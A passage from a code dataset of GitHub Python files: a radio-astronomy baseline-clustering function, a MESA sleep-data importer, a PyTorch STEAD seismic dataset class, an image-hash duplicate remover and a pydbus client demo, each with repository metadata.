turtle.onscreenclick(get_mouse_click_coor)\n\n# Code to keep the screen the open\n# turtle.mainloop() \n# or\n# screen.exitonclick()","repo_name":"abhijitpaul0212/India-States-Game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"44078379203","text":"\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib.legend_handler import HandlerLine2D, HandlerTuple\nplt.rcParams.update({'font.size': 14})\n\nfrom copy import deepcopy\nimport argparse\nimport os\nimport linsolve\n\nfrom hera_cal import utils\nfrom hera_cal import version\nfrom hera_cal.noise import predict_noise_variance_from_autos\nfrom hera_cal.datacontainer import DataContainer\nfrom hera_cal.utils import split_pol, conj_pol, split_bl, reverse_bl, join_bl, join_pol, comply_pol\nfrom hera_cal.io import HERAData, HERACal, write_cal, save_redcal_meta\nfrom hera_cal.apply_cal import calibrate_in_place\n\n## Importing functions\nfrom hera_cal.redcal import _get_pol_load_list, get_reds, filter_reds, redundantly_calibrate, expand_omni_sol,get_pos_reds ,add_pol_reds\nimport All_functions as logical ## Logi_Cal functions\n\n### Fixing degenaracies\n\n\nimport hera_pspec as hp\nimport hera_cal as hc\nfrom hera_sim import io\n\n## Classification\nfrom sklearn.cluster import KMeans\n\n# import uvtools\n# import hera_cal as hc\n# import hera_pspec as hp\n# from pyuvdata import UVCal, UVData\n# import pyuvdata.utils as uvutils\n\n\n\n\nSEC_PER_DAY = 86400.\nIDEALIZED_BL_TOL = 1e-8  # bl_error_tol for redcal.get_reds when using antenna positions calculated from reds\n\n\n\n\n## FUNCTIONS\n\ndef get_rbg_cluster(data_file, Number_of_clusters, red_groups_index):\n    \n    \"\"\" Combines the clustered baselines groups with the original get_reds groups and also changes their\n        polarisation of the groups from 'nn' to 'ee'.\n        \n    Arguments:\n        data_file: HERAData object,that has been calibrated by redcal.\n        Number_of_clusters: The number of clusters you want to cluster the redundant baseline group into.\n        red_groups_index: The index for that redundant baseline group to use for the clustering.\n        \n        \n    Returns:\n        reds: list of lists of redundant baseline tuples, e.g. (ind1,ind2,pol).\n            Each list has a list of baselines that are clustered into the same group by the \n            clustering algorithm.\n    \"\"\"\n    \n    \n    ant_nums = np.unique(np.append(data_file.ant_1_array, data_file.ant_2_array))\n    pols=['nn']\n    pol_mode='2pol'\n    bl_error_tol=1.0\n\n    #def _get_pol_load_list(pols, pol_mode='1pol'):\n    '''Get a list of lists of polarizations to load simultaneously, depending on the polarizations\n    in the data and the pol_mode (which can be 1pol, 2pol, 4pol, or 4pol_minV)'''\n\n    if pol_mode in ['1pol', '2pol']:\n        pol_load_list = [[pol] for pol in pols if split_pol(pol)[0] == split_pol(pol)[1]]\n    elif pol_mode in ['4pol', '4pol_minV']:\n        assert len(pols) == 4, 'For 4pol calibration, there must be four polarizations in the data file.'\n        pol_load_list = [pols]\n    else:\n        raise ValueError('Unrecognized pol_mode: {}'.format(pol_mode))\n\n    reds_all = get_reds({ant: data_file.antpos[ant] for ant in ant_nums}, bl_error_tol=bl_error_tol,\n                            pol_mode=pol_mode, pols=set([pol for pols in pol_load_list for pol in pols]))\n    \n\n    ##############################  'all_reds_function complete' #######################################\n    ####################################################################################################\n    \n    \n    ########################--------------    Clustering Algorithm     ----------------#####################\n    \"\"\" Using a clustering algorithm (K_means In this case) to classify baselines from a\n        redundant_baseline_group into groups based on their visibilities.\n    Returns:\n        n : A list of baseline IDs for the baselnes in the redundant baseline group\n        true_labels: A list of lables from the clustering algorithm where baselines of similar\n                    visibilities are clustered into the same group. P.S. the number of groups we get\n                    depend on the number of clusters specified.\n    \"\"\"\n    Number_of_clusters = Number_of_clusters\n    \n    red_group_number = red_groups_index\n\n    ## Changing the antenna numbers in to baselines for every redundant baseline group.\n    redundant_baseline_group = []\n    for bg in range(len(reds_all)):\n        redundant_baselines = []\n        for a_num in range(len(reds_all[bg])):\n            bID = data_file.antnums_to_baseline(reds_all[bg][a_num][0],reds_all[bg][a_num][1])\n            redundant_baselines.append(bID)\n        redundant_baseline_group.append(redundant_baselines) ## Saving a list of redundant baselines in an  \n                                                             ## array.\n\n\n    n = redundant_baseline_group[red_group_number]   ## Getting one redundant baseline group\n\n\n    ##  Combining a list (of visibilities) of 2D arrays into a 3D array\n    array_3D = []\n    for i in range(len(n)):\n        array_3D.append(data_file.get_data(n[i]) )\n\n    array_3D = np.array(array_3D)\n\n    ## Appending multiple time sample into one array_per_baseline.\n    ## e.g. for a nfreq = 120,ntimes=1 we have 1 X 120=120 elements per_baseline\n    ###     for a nfreq = 120,ntimes=60 we have 60 X 120=7200 elements per_baseline\n    new_time = []\n    for i in range(len(n)):\n        abc = abs(array_3D[i])\n        d1 = []\n        for j in range(len(abc)):\n            d1.append(abc[j])\n            d2 = np.concatenate(d1)  ### appending all time samples for each baseline\n        new_time.append(d2)\n\n    new_time = np.array(new_time)\n\n\n    X = new_time\n    y = n\n    # Incorrect number of clusters\n    true_labels = KMeans(n_clusters=Number_of_clusters).fit_predict(X)\n\n    cluster_baselines2 = [n, true_labels] # Storing clustered baselines and their labels\n\n    ############################  'cluster_baselines2 complete' ######################################\n    ##################################################################################################\n\n\n    \"\"\" It uses the labels we get when we run the clustering algorithm, to get the index of each label\n            in order to find out which label belongs to which baseline. \n    Returns:\n        A 2D list of Baseline ID that are grouped in the way the clustering algorithm clustered them. The\n            result is in the form, len(2D_list) = Number_of_clusters.\n    \"\"\"\n\n    ## Calling the cluster_baselines function to get the labels\n    labels = cluster_baselines2[1]\n\n    ## Getting rid of repeated labels\n    p = list(dict.fromkeys(labels))\n\n    ## Getting the index of each label in order to find out which label belongs to which baseline\n    x = labels\n    get_indexes = lambda x, xs: [i for (y, i) in zip(xs, range(len(xs))) if x == y]\n\n    clusters = []\n\n    for j in range(len(p)):\n        cluster1 = get_indexes(p[j],x) ## a list of indeces for each label\n        baseline_array = np.array(cluster_baselines2[0])\n        base_ant_idx = baseline_array[cluster1] ## index[0]=n \n        clusters.append(base_ant_idx)\n\n    ############################  'get_baseline_cluster2 complete' #####################################\n    ####################################################################################################\n\n    \"\"\" Combines cluster_baselines() and get_baseline_cluster().\n\n    Returns:\n        reds: list of lists of redundant baseline tuples, e.g. (ind1,ind2,pol).\n            Each list has a list of baselines that are clustered into the same group by the \n            clustering algorithm.\n    \"\"\"\n\n    antpp_c = clusters\n\n    reds_all_cluster = []\n    for j in range(len(antpp_c)):\n        ant_pair_cluster1 =[]\n        for i in antpp_c[j]:\n            #Print baselines with the antenna numbers that makeup that baseline\n            ant_pair_pol=np.int64(data_file.baseline_to_antnums(i)[0]), np.int64(data_file.baseline_to_antnums(i)[1]),'ee'\n\n            ant_pair_cluster1.append(ant_pair_pol)\n        reds_all_cluster.append(ant_pair_cluster1)\n\n        \n    return reds_all_cluster\n\n","repo_name":"KabeloMalapane/logi_cal","sub_path":"cluster_baselines.py","file_name":"cluster_baselines.py","file_ext":"py","file_size_in_byte":7860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43879615108","text":"\"\"\"Import the files of the mesa sleep-wake dataset. The filetypes are PSG, Actigraphy and R-points.\"\"\"\nimport re\nfrom typing import Dict\nfrom pathlib import Path\nimport mne\n\nfrom xml.etree import ElementTree\n\nimport pandas as pd\nfrom mesa_data_importer._types import path_t\n\n\ndef load_all_psg(folder_path) -> Dict[str, pd.DataFrame]:\n    \"\"\"Read in all PSG XML files from the MESA dataset.\n\n    Parameters\n    ----------\n    folder_path: :class:`~pathlib.Path` or str\n        path to the mesa folder with XML files. Important: not the filename itself!\n\n    Returns\n    -------\n    dict\n        dictionary that contains a :class:`~pandas.DataFrame` with PSG data for each subject\n\n    \"\"\"\n    folder_path = Path(folder_path)\n    print(\"start reading psg-data\")\n    psg = {}\n    path_list = list(sorted(folder_path.glob(\"*.xml\")))\n    # mesa_list = re.findall(\"(\\d{4})\", ''.join(str(p))) -->if mesa_id_list wanted\n    for data_name in path_list:\n        i = re.findall(r\"(\\d{4})\", data_name.name)[0]\n        psg[i] = _xml_reader(folder_path.joinpath(data_name.name))\n        print(\"file {} read in!\".format(i))\n\n    print(\"Reading psg-data finished\")\n    return psg\n\n\ndef load_single_psg(file_path: path_t, mesa_id: int) -> pd.DataFrame:\n    \"\"\"Read in one single PSG XML files from the MESA dataset.\n\n    Parameters\n    ----------\n    file_path: :class:`~pathlib.Path` or str\n        path to the mesa folder with XML files. Important: not the filename itself!\n    mesa_id : int\n        MESA subject ID\n\n    Returns\n    -------\n    :class:`~pandas.DataFrame`\n        :class:`~pandas.DataFrame` with PSG data of one subject\n\n    \"\"\"\n    file_path = Path(file_path)\n    try:  # look if a dataset exists\n        psg = _xml_reader(\n            file_path.joinpath(\n                \"polysomnography/annotations-events-nsrr/mesa-sleep-{:04d}-nsrr.xml\".format(\n                    mesa_id\n                )\n            )\n        )\n    except ImportError as e:\n        raise ImportError(\"Dataset with id {} doesn't exist!\".format(mesa_id)) from e\n\n    return psg\n\n\ndef load_all_actigraphy(folder_path: path_t) -> Dict[str, pd.DataFrame]:\n    \"\"\"Read in all actigraphy csv files from the MESA dataset.\n\n    Parameters\n    ----------\n    folder_path: :class:`~pathlib.Path` or str\n        path to the mesa folder with actigraphy csv files. Important: not the filename itself!\n\n    Returns\n    -------\n    dict:\n        dict that contains a :class:`~pandas.DataFrame` with actigraphy data for each subject\n\n    \"\"\"\n    print(\"Start reading Actigraphy-data!\")\n    actigraphy = {}\n    path_list = list(Path(folder_path).glob(\"*.csv\"))\n\n    for data_name in path_list:\n        i = re.findall(r\"(\\d{4})\", data_name.name)[0]\n        actigraphy[i] = pd.read_csv(folder_path + data_name.name)\n        print(\"file {} read in!\".format(i))\n\n    print(\"Reading Actigraphy data finished!\")\n    return actigraphy\n\n\ndef load_single_actigraphy(file_path: path_t, mesa_id: int) -> pd.DataFrame:\n    \"\"\"Read in one single actigraphy csv files from the MESA dataset.\n\n    Parameters\n    ----------\n    file_path: :class:`~pathlib.Path` or str\n        file path to the mesa folder with actigraphy csv-files. Important: not the filename itself!\n    mesa_id : int\n        MESA subject ID\n\n    Returns\n    -------\n    :class:`~pandas.DataFrame`\n        :class:`~pandas.DataFrame` with actigraphy data of one subject\n\n    \"\"\"\n    file_path = Path(file_path)\n    try:\n        actigraphy = pd.read_csv(\n            file_path.joinpath(\"actigraphy/mesa-sleep-{:04d}.csv\".format(mesa_id))\n        )\n\n    except ImportError as e:\n        raise ImportError(\"Dataset with id {} doesn't exist!\".format(mesa_id)) from e\n\n    return actigraphy\n\n\ndef load_all_r_point(folder_path: path_t):\n    \"\"\"Read in all the csv-files from the r-point mesa-dataset.\n\n    Parameters\n    ----------\n    folder_path: :class:`~pathlib.Path` or str\n        path to the mesa folder with r-point csv files. Important: not the filename itself!\n\n    Returns\n    -------\n    dict:\n        dict that contains a :class:`~pandas.DataFrame` with r-point data for each subject\n\n    \"\"\"\n    folder_path = Path(folder_path)\n    print(\"Start reading r-point-data!\")\n    r_point = {}\n\n    path_list = list(sorted(folder_path.glob(\"*.csv\")))\n    for data_name in path_list:\n        i = re.findall(r\"(\\d{4})\", data_name.name)[0]\n        r_point[i] = pd.read_csv(folder_path.joinpath(data_name.name))\n        print(\"file {} read in!\".format(i))\n\n    print(\"Reading r-point-data finished!\")\n    return r_point\n\n\ndef load_single_r_point(file_path: path_t, mesa_id: int):\n    \"\"\"Read in all r-point csv files from the MESA dataset.\n\n    Parameters\n    ----------\n    file_path: :class:`~pathlib.Path` or str\n        path to the mesa folder with r-point csv files. Important: not the filename itself!\n    mesa_id : int\n        MESA subject ID\n\n    Returns\n    -------\n    :class:`~pandas.DataFrame`\n        :class:`~pandas.DataFrame` with r-point data of one subject\n\n    \"\"\"\n    file_path = Path(file_path)\n    try:\n        r_point = pd.read_csv(\n            file_path.joinpath(\n                \"polysomnography/annotations-rpoints/mesa-sleep-{:04d}-rpoint.csv\".format(\n                    mesa_id\n                )\n            )\n        )\n    except ImportError as e:\n        raise ImportError(\"Dataset with id {} doesn't exist!\".format(mesa_id)) from e\n\n    return r_point\n\n\ndef load_single_resp_features(file_path: path_t, mesa_id: int):\n    \"\"\"Read in all respiration features csv files from the MESA dataset.\n\n    Parameters\n    ----------\n    file_path: :class:`~pathlib.Path` or str\n        path to the mesa folder with respiration csv files. Important: not the filename itself!\n    mesa_id : int\n        MESA subject ID\n\n    Returns\n    -------\n    :class:`~pandas.DataFrame`\n        :class:`~pandas.DataFrame` with respiration features of one subject\n\n    \"\"\"\n    file_path = Path(file_path)\n    try:\n        resp_features = pd.read_csv(\n            file_path.joinpath(\n                \"respiration_features_raw/respiration{:04d}.csv\".format(mesa_id)\n            ),\n            index_col=0,\n        )\n    except ImportError as e:\n        raise ImportError(\"Dataset with id {} doesn't exist!\".format(mesa_id)) from e\n\n    return resp_features\n\n\ndef load_single_edr_feature(file_path: path_t, mesa_id: int):\n    \"\"\"\n    Read in all edr features csv files from the MESA dataset.\n\n    Parameters\n    ----------\n    file_path: :class:`~pathlib.Path` or str\n        path to the mesa folder with edr csv files. Important: not the filename itself!\n    mesa_id : int\n        MESA subject ID\n\n    Returns\n    -------\n    :class:`~pandas.DataFrame`\n        :class:`~pandas.DataFrame` with edr features of one subject\n    \"\"\"\n    file_path = Path(file_path)\n    try:\n        edr_features = pd.read_csv(\n            file_path.joinpath(\n                \"edr_respiration_features_raw/edr_respiration{:04d}.csv\".format(mesa_id)\n            ),\n            index_col=0,\n        )\n    except ImportError as e:\n        raise ImportError(\"Dataset with id {} doesn't exist!\".format(mesa_id)) from e\n\n    return edr_features\n\n\ndef load_clean_data(folder_path: path_t) -> Dict[str, pd.DataFrame]:\n    \"\"\"Load cleaned MESA dataset from folder.\n\n    Parameters\n    ----------\n    folder_path : :class:`~pathlib.Path` or str\n        path to folder\n\n    Returns\n    -------\n    dict\n        dictionary with\n\n    \"\"\"\n    folder_path = Path(folder_path)\n    clean_path = folder_path.joinpath(\"clean_data\")\n    data = {}\n    path_list = list(sorted(clean_path.glob(\"*.csv\")))\n    for data_name in path_list:\n        i = re.findall(r\"(\\d{4})\", data_name.name)[0]\n        subj_data = pd.read_csv(clean_path.joinpath(data_name.name))\n        subj_data[\"linetime\"] = pd.to_datetime(\n            subj_data[\"linetime\"], format=\"%H:%M:%S\"\n        ).dt.time\n        data[i] = subj_data\n\n    return data\n\n\ndef _xml_reader(file_path: path_t):\n    psg_data = ElementTree.parse(file_path)  # read xml files in a tree structure\n    root = psg_data.getroot()  # root of the tree structure\n    data = {}  # tree structure:\n    # <PSGAnnotation>\n    time = []  # <ScoredEvents>\n    sleep = []  # <ScoredEvent>\n    j = 0  # <EventType>Stages|Stages<EventType>\n    for elem in root:  # <EventConcept>Wake|0<EventConcept>\n        for subelem in elem:  # <Start>1500<Start>\n            if subelem[0].text == \"Stages|Stages\":  # <Duration>90<Duration>\n                number = float(subelem[3].text)\n                i = 0\n                for i in range(0, int(number / 30)):\n                    time.append(j)\n                    sleep.append(subelem[1].text)\n                    j += 30  # every 30s we have one label, j is the time counting up without resetting.\n                    # i is resetting after each scored event\n    data[\"time\"] = time\n    data[\"sleep\"] = sleep\n    df = pd.DataFrame.from_dict(\n        data\n    )  # build a dataframe with time and sleep/wake status\n\n    return df\n\n\ndef load_binary_data(folder_path: path_t):\n    folder_path = Path(folder_path)\n    raw_path = folder_path.joinpath(\"raw_data\")\n    data = {}\n    path_list = list(sorted(raw_path.glob(\"*.bin\")))\n    for data_name in path_list:\n        subj_data = pd.read_csv(raw_path)\n        data[data_name] = subj_data\n\n\ndef load_edf(file_path: path_t, mesa_id: int):\n    file_path = Path(file_path)\n    try:\n        edf = mne.io.read_raw_edf(\n            file_path.joinpath(\"mesa-sleep-{:04d}.edf\".format(mesa_id))\n        )\n    except ImportError as e:\n        raise ImportError(\"Dataset with id {} doesn't exist!\".format(mesa_id)) from e\n\n    return edf\n","repo_name":"mad-lab-fau/mesa-data-importer","sub_path":"mesa_data_importer/mesa.py","file_name":"mesa.py","file_ext":"py","file_size_in_byte":9611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42078342684","text":"import random\nimport torch\nfrom torch.utils import data\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass STEADDataset(data.Dataset):\n    \"\"\"A PyTorch Dataset for the STEAD dataset.\n\n    This class implements a PyTorch map-style dataset for the STEAD dataset.\n    The STEAD dataset has to be provided as a metadata CSV file and Numpy\n    binary file containing the traces in the order specified in the metadata\n    file. The metadata is loaded and kept in memory and the traces are mmapped\n    to reduce total memory footprint.\n\n    Attributes:\n        metadata: The STEAD metadata.\n        trace_data: The STEAD traces.\n        impulse: The impulse class to use.\n        crop: The width to crop to.\n        crop_keep_both: Whether to preserve both P and S during cropping.\n        p_uncertainty: Amount of uncertainty to add to P arrival time.\n        s_uncertainty: Amount of uncertainty to add to S arrival time.\n    \"\"\"\n    def __init__(self,\n                 csv_file,\n                 npy_file,\n                 impulse,\n                 standardize=True,\n                 crop=None,\n                 crop_keep_both=False,\n                 p_uncertainty=0,\n                 s_uncertainty=0):\n        \"\"\"Initializes a STEADDataset with the requested settings.\n\n        Args:\n            csv_file: Path to a CSV file with the STEAD metadata.\n            npy_file: Path to a Numpy binary file with the STEAD traces.\n            impulse: The impulse class to use when generating impulses.\n            standardize: Whether to standardize the earthquake traces.\n            crop: Optional; The length to crop traces/impulses to.\n                Default: None (no crop)\n            crop_keep_both: Optional; Whether to preserve both P and S during\n                cropping. Default: False\n            p_uncertainty: Optional; Amount of uncertainty to add to P arrival\n                time. Default: 0\n            s_uncertainty: Optional; Amount of uncertainty to add to S arrival\n                time. Default: 0\n        \"\"\"\n        print('Loading metadata...')\n        self.metadata = pd.read_csv(csv_file)\n        print('Reading trace files...')\n        print('Loading data into memory...')\n        self.trace_data = np.load(npy_file, mmap_mode='r')\n        print('Done.')\n\n        self.impulse = impulse\n        self.standardize = standardize\n        self.crop = crop\n        self.crop_keep_both = crop_keep_both\n        self.p_uncertainty = p_uncertainty\n        self.s_uncertainty = s_uncertainty\n\n    def __len__(self):\n        return len(self.metadata)\n\n    def __get_trace(self, idx):\n        \"\"\"Retrieves a copy of the trace with the given index.\n        \n        Args:\n            idx: Index of the trace to retrieve.\n        \n        Returns:\n            A tuple containing the trace attributes and the trace as a Numpy\n            array.\n        \"\"\"\n        # Get trace name\n        trace_attrs = self.metadata.iloc[idx]\n        trace_index = trace_attrs['trace_index']\n\n        # Get the trace from the numpy file by name\n        trace = self.trace_data[trace_index]\n\n        return trace_attrs, trace.copy()\n\n    def __getitem__(self, idx):\n        \"\"\"Returns the dataset entry with the given index.\n\n        This function implements the __getitem__ function required by the\n        PyTorch Dataset class. The function will retrieve the trace at the\n        given index, add uncertainty, crop it, and standardize it before\n        formatting it as a dict and returning it.\n\n        Args:\n            idx: Index of the trace to retrieve.\n        \n        Returns:\n            A dict containing the trace, impulses, and some metadata. The\n            contents are as follows:\n            - trace: The three (E, N, Z) traces as a torch.Tensor\n            - p_impulse: The P arrival impulse as a torch.Tensor\n            - s_impulse: The S arrival impulse as a torch.Tensor\n            - e_impulse: The coda end impulse as a torch.Tensor\n            - p_idx: The index of the P arrival.\n            - s_idx: The index of the S arrival.\n            - e_idx: The index of the coda end.\n        \"\"\"\n        # Get the trace and its metadata\n        trace_attrs, trace = self.__get_trace(idx)\n\n        # Convert to PyTorch tensor\n        trace = torch.transpose(torch.from_numpy(trace), 0, 1)\n        length = trace.size()[1]\n\n        is_noise = trace_attrs['trace_category'] == 'noise'\n\n        if is_noise:\n            p_arrival_idx = -1\n            s_arrival_idx = -1\n            end_idx = -1\n        else:\n            # Perturb p-arrival by uncertainty in measurement\n            p_perturb = 0\n            if self.p_uncertainty > 0:\n                p_perturb = int(\n                    torch.normal(torch.zeros(1), self.p_uncertainty).item())\n\n            # Perturb s-arrival by uncertainty in measurement\n            s_perturb = 0\n            if self.s_uncertainty > 0:\n                s_perturb = int(\n                    torch.normal(torch.zeros(1), self.s_uncertainty).item())\n\n            # Create the p_arrival impulse using the time index\n            p_arrival_idx = int(trace_attrs['p_arrival_sample']) + p_perturb\n            s_arrival_idx = int(trace_attrs['s_arrival_sample']) + s_perturb\n            end_idx = int(trace_attrs['coda_end_sample'])\n\n        if self.crop is not None:\n            crop_min = 0\n            crop_max = length - self.crop\n\n            # If not a noise signal\n            if p_arrival_idx > 0:\n                if self.crop_keep_both:\n                    crop_min = max(0, s_arrival_idx - self.crop + 1)\n                    crop_max = min(p_arrival_idx, crop_max)\n                else:\n                    # Whether to guarantee the P or the S\n                    keep_p = random.random() < 0.0\n\n                    # Guarantee the P arrival\n                    if keep_p:\n                        crop_min = max(0, p_arrival_idx - self.crop + 1)\n                        crop_max = min(p_arrival_idx, crop_max)\n                    # Guarantee the S arrival\n                    else:\n                        crop_min = max(0, s_arrival_idx - self.crop + 1)\n                        crop_max = min(s_arrival_idx, crop_max)\n\n            crop_start = random.randint(crop_min, crop_max)\n\n            crop_end = crop_start + self.crop\n\n            trace = trace.narrow(1, crop_start, self.crop)\n\n            # Adjust P arrival for crop\n            if p_arrival_idx < crop_start or p_arrival_idx >= crop_end:\n                p_arrival_idx = -1\n            else:\n                p_arrival_idx -= crop_start\n\n            # Adjust S arrival for crop\n            if s_arrival_idx < crop_start or s_arrival_idx >= crop_end:\n                s_arrival_idx = -1\n            else:\n                s_arrival_idx -= crop_start\n\n            # Adjust coda end for crop\n            if end_idx < crop_start or end_idx >= crop_end:\n                end_idx = -1\n            else:\n                end_idx -= crop_start\n\n            # Create impulses\n            p_impulse = self.impulse.get_impulse(p_arrival_idx, p_arrival_idx,\n                                                 self.crop)\n            s_impulse = self.impulse.get_impulse(s_arrival_idx, s_arrival_idx,\n                                                 self.crop)\n            end_impulse = self.impulse.get_impulse(p_arrival_idx, end_idx,\n                                                   self.crop)\n\n        # Standardize the trace along the time dimension.\n        if self.standardize:\n            std, mean = torch.std_mean(trace, dim=-1, keepdim=True)\n            std = torch.where(std == 0, torch.tensor(1.0), std)\n            trace = (trace - mean) / std\n\n        return {\n            'trace': trace,\n            'p_impulse': p_impulse,\n            's_impulse': s_impulse,\n            'e_impulse': end_impulse,\n            'p_idx': p_arrival_idx,\n            's_idx': s_arrival_idx,\n            'e_idx': end_idx\n        }\n\n    def filter(self, f):\n        \"\"\"Apply a filtering function to the dataset.\n\n        This function allows for the application of a Pandas dataframe\n        filtering function to the dataset to remove undesired options. The\n        provided filtering function should accept a Pandas dataframe as an\n        argument. The STEAD metadata will be passed into the filtering\n        function, and output of the filter will be used to select which items\n        should be kept.\n\n        Args:\n            f: The filtering function to apply.\n        \"\"\"\n        self.metadata = self.metadata[f(self.metadata)]\n\n    def plot(self, idx, codastyle='-'):\n        \"\"\"Plot a plot of the trace at the given index.\n\n        This function retrieves and plots the trace at the given index. The\n        plot includes the E, N, and Z components (in that order), as well as\n        vertical lines corresponding to the P and S arrivals and the \"coda\n        end\". The line style for the vertical lines can be specified.\n\n        Args:\n            idx: Index of the trace to plot.\n        \n        Returns:\n            A figure containing three axes, arranged vertically, that\n            correspond to the E, N, and Z components of the trace at the given\n            index.\n        \"\"\"\n\n        # Get the trace and its metadata\n        trace_attrs, trace = self.__get_trace(idx)\n\n        # Arrival times vertical lines\n        p_time = trace_attrs['p_arrival_sample']\n        s_time = trace_attrs['s_arrival_sample']\n        e_time = trace_attrs['coda_end_sample']\n\n        # Set up the plot\n        fig, (ax_e, ax_n, ax_z) = plt.subplots(nrows=3, sharex=True)\n        fig.set_size_inches(8, 6)\n\n        # Plot the e signal\n        ax_e.plot(trace[:, 0], color='k')\n        ax_e.axvline(p_time,\n                     color='dodgerblue',\n                     label='P-Arrival',\n                     linestyle=codastyle)\n        ax_e.axvline(s_time,\n                     color='orangered',\n                     label='S-Arrival',\n                     linestyle=codastyle)\n        ax_e.axvline(e_time,\n                     color='green',\n                     label='Coda End',\n                     linestyle=codastyle)\n\n        # Plot the n signal\n        ax_n.plot(trace[:, 1], color='k')\n        ax_n.axvline(p_time,\n                     color='dodgerblue',\n                     label='P-Arrival',\n                     linestyle=codastyle)\n        ax_n.axvline(s_time,\n                     color='orangered',\n                     label='S-Arrival',\n                     linestyle=codastyle)\n        ax_n.axvline(e_time,\n                     color='green',\n                     label='Coda End',\n                     linestyle=codastyle)\n\n        # Plot the z signal\n        ax_z.plot(trace[:, 1], color='k')\n        ax_z.axvline(p_time,\n                     color='dodgerblue',\n                     label='P-Arrival',\n                     linestyle=codastyle)\n        ax_z.axvline(s_time,\n                     color='orangered',\n                     label='S-Arrival',\n                     linestyle=codastyle)\n        ax_z.axvline(e_time,\n                     color='green',\n                     label='Coda End',\n                     linestyle=codastyle)\n\n        # Set up the rest of the plot\n        handles, labels = ax_e.get_legend_handles_labels()\n        fig.legend(handles, labels, loc='center right')\n        fig.suptitle(f'Trace {trace_attrs[\"trace_name\"]}')\n\n        return fig\n","repo_name":"ejaszewski/eqdetection","sub_path":"eqdetection/dataset/stead.py","file_name":"stead.py","file_ext":"py","file_size_in_byte":11409,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"41071836144","text":"import datetime\nimport numpy as np\nimport os\nimport torch\nimport imagehash\nimport glob\nfrom p_tqdm import p_map\nfrom PIL import Image\nfrom tqdm import tqdm\n\nFUNCS = [\n        imagehash.average_hash,\n        imagehash.phash,\n        imagehash.dhash,\n        imagehash.whash,\n        ]\n\n\ndef get_hashes(path):\n    image = Image.open(path)\n    return np.array([f(image).hash for f in FUNCS]).reshape(256)\n\n\ndef compute_hashes(pathes):\n    hashes = []\n    hashes.extend(p_map(get_hashes, pathes))\n    hashes_all = np.array(hashes)\n    hashes_all = torch.Tensor(hashes_all.astype(int))\n    return hashes_all\n\n\ndef compute_similarity(hashes):\n    sims = np.array([(hashes[i] == hashes).sum(dim=1).numpy() / 256 for i in tqdm(range(hashes.shape[0]))])\n    np.fill_diagonal(sims, 0)  # remove comparison of images with itself\n    return sims\n\n\ndef find_duplicates(similarity, image_pathes, external_folders=False):\n    duplicates_idx = []\n\n    # filter all duplicates\n    for row_id in tqdm(range(len(similarity))):\n        if not external_folders:\n            if row_id in duplicates_idx:\n                continue\n        dup_indices = np.argwhere(similarity[row_id] > 0.9)[:,0]\n        for idx in dup_indices:\n            duplicates_idx.append(idx)\n\n    # remove duplicates\n    duplicates_idx = np.unique(duplicates_idx)\n    duplicates = [image_pathes[idx] for idx in duplicates_idx]\n    return duplicates\n\n\ndef find_pathes(folder):\n    image_pathes = []\n    pathes = glob.glob(f\"{folder}/*\")\n    for path in pathes:\n        image_pathes.append(path)\n    return image_pathes\n\n\ndef remove_intra_class_duplicates(folder):\n\n    # find intra-class image pathes\n    image_pathes = find_pathes(folder)\n\n    # compute hashes\n    hashes = compute_hashes(image_pathes)\n\n    # compute similiarities\n    sims = compute_similarity(hashes)\n\n    # find duplicates\n    duplicates = find_duplicates(similarity=sims, image_pathes=image_pathes)\n\n    # remove duplicates\n    p_map(os.remove, duplicates)\n\n\ndef remove_cross_class_duplicates(folders):\n    image_pathes = []\n    for folder in folders:\n        image_pathes.extend(find_pathes(folder))\n\n    # compute hashes\n    hashes = compute_hashes(image_pathes)\n\n    # compute similiarities\n    sims = compute_similarity(hashes)\n\n    # find duplicates\n    duplicates = find_duplicates(similarity=sims, image_pathes=image_pathes, external_folders=True)\n\n    # remove duplicates\n    p_map(os.remove, duplicates)\n\n\nif __name__ == '__main__':\n    start_time = datetime.datetime.now()\n    TRAIN_DIR = '/home/noteme/PycharmProjects/comp/data/cassava-disease/train'\n    extra_images_folder = '/home/noteme/PycharmProjects/comp/data/cassava-disease/extraimages/extraimages'\n    folders = glob.glob(f\"{TRAIN_DIR}/*\")\n\n    # # remove duplicates within extra images\n    # remove_intra_class_duplicates(extra_images_folder)\n    #\n    # # remove duplicates within each class\n    # for folder in folders:\n    #     remove_intra_class_duplicates(folder)   # removed 1256 images\n\n    # remove duplicates between classes\n    remove_cross_class_duplicates(folders)      # removed 174 images\n\n    print(f\"all intra-class duplicates removed in \"\\\n          f\"{round((datetime.datetime.now() - start_time).total_seconds()/60, 1)} mins\")\n","repo_name":"VladKatsman/Cassava_kaggle_challenge","sub_path":"data_preprocessing/delete_duplicates.py","file_name":"delete_duplicates.py","file_ext":"py","file_size_in_byte":3241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29948613517","text":"#!/usr/bin/env python3\n#!\n# client_demo_2.py\n# Client performs method call and receives time stamp from the server.\n#\n# Ian Stewart\n# 2019-11-22\n#\n# Importing.\nfrom pydbus import SessionBus  # from pydbus import SystemBus\nfrom gi.repository import GLib\n\n# Instantiation, Constants, Variables... \nbus = SessionBus()\nBUS = \"org.example.demo.test\"\nserver_object = bus.get(BUS)\nloop = GLib.MainLoop()\nINTERVAL = 2\n\ndef make_method_call_client_2():\n    \"Server returns a time stamp.\"\n    reply = server_object.get_time_stamp()\n    print(\"Returned data is of type: {}\".format(type(reply)))\n    print(\"Time stamp received from server: {}\".format(reply))\n    return True\n\nif __name__==\"__main__\":\n    print(\"Starting Client Demo 2...\")\n    GLib.timeout_add_seconds(interval=INTERVAL,\n                             function=make_method_call_client_2)\n    loop.run()\n\n\"\"\"\nNotes:\n1. Launch server_demo_2.py in one console\n2. Then launch client_demo_2.py in another 